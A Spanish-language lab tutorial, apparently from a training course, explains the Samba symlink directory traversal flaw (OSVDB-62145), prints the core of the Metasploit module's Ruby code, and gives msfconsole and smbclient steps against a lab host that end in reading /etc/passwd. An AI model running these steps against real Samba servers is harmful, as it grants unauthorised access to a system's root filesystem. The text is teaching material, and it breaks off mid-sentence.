Analizar la vulnerabilidad de Samba
En este paso, aprenderás sobre la vulnerabilidad de Samba y analizarás el código central del módulo de explotación.
Samba es un software libre que permite a sistemas operativos similares a UNIX conectarse con el protocolo de red SMB/CIFS (Server Message Block/Common Internet File System) utilizado por Microsoft Windows. La versión 3 no solo permite el acceso y el uso compartido de carpetas y impresoras SMB, sino que también puede integrarse en un dominio de Windows Server como controlador de dominio o unirse a un Active Directory como miembro. En términos más simples, este software cierra la brecha entre Windows y sistemas operativos similares a UNIX, permitiendo el intercambio de recursos entre ambos.
Samba tiene una amplia gama de aplicaciones, y por lo tanto, las vulnerabilidades en Samba pueden tener un impacto significativo. Samba puede crear recursos compartidos de red para directorios Unix seleccionados (incluidos todos los subdirectorios). Esta función permite a los usuarios de Windows acceder a estos directorios Unix a través de la red, al igual que acceden a las carpetas normales de Windows.
El índice de vulnerabilidad utilizado en este experimento es:
OSVDB-62145
El índice del código fuente del módulo de Samba utilizado en este experimento es:
symlink_traversal.rb
Veamos la explicación del código central:
## Module initialization information, including author information and module introduction
def initialize
super(
'Name' => 'Samba Symlink Directory Traversal',
'Description' => %Q{
This module exploits a directory traversal flaw in the Samba
CIFS server. To exploit this flaw, a writeable share must be specified.
The newly created directory will link to the root filesystem.
},
'Author' =>
[
'kcope', ## http://lists.grok.org.uk/pipermail/full-disclosure/2010-February/072927.html
'hdm' ## metasploit module
],
'References' =>
[
['OSVDB', '62145'],
['URL', 'http://www.samba.org/samba/news/symlink_attack.html']
],
'License' => MSF_LICENSE
)
## Register option information
register_options([
OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server']),
OptString.new('SMBTARGET', [true, 'The name of the directory that should point to the root filesystem', 'rootfs'])
], self.class)
end
## Main execution function
def run
## Function to connect to the server
print_status("Connecting to the server...")
connect()
smb_login()
## Connect to the target host
print_status("Trying to mount writeable share '#{datastore['SMBSHARE']}'...")
self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}")
## Attempt to enter the root filesystem
print_status("Trying to link '#{datastore['SMBTARGET']}' to the root filesystem...")
self.simple.client.symlink(datastore['SMBTARGET'], "../" * 10)
## Print success message after successful entry
print_status("Now access the following share to browse the root filesystem:")
print_status("\t\\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['SMBTARGET']}\\")
print_line("")
end
end
Después de explicar el código central del módulo, realicemos la explotación real en la terminal de MSF ingresando los siguientes comandos:
search samba
use auxiliary/admin/smb/samba_symlink_traversal
show options
Establece el host objetivo:
set RHOST 192.168.122.102
Selecciona el directorio compartido:
set SMBSHARE tmp
Nota: Como recordatorio, el impacto de esta vulnerabilidad de Samba es que permite la creación de recursos compartidos de red para directorios Unix seleccionados (incluidos todos los subdirectorios).
Después de establecer todos los parámetros necesarios, puedes proceder a explotar la vulnerabilidad:
exploit
Si tiene éxito, deberías ver el siguiente mensaje:
[*] 192.168.122.102:445 - Now access the following share to browse the root filesystem:
Después de una explotación exitosa, sal con el comando exit y prueba si puedes conectarte usando smbclient en la terminal. Se te pedirá una contraseña, pero puedes presionar Enter sin ingresar ninguna contraseña:
exit
smbclient //192.168.122.102/tmp
Una vez conectado, puedes verificar el acceso al sistema de archivos raíz ejecutando el siguiente comando:
more rootfs/etc/passwd
Deberías ver una salida similar a:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
[....]
Esto confirma que has explotado con éxito la vulnerabilidad y has obtenido acceso al host objetivo a través del recurso compartido de red creado.
Presiona Ctrl+D para salir de la consola de Metasploit y luego inicia la inspección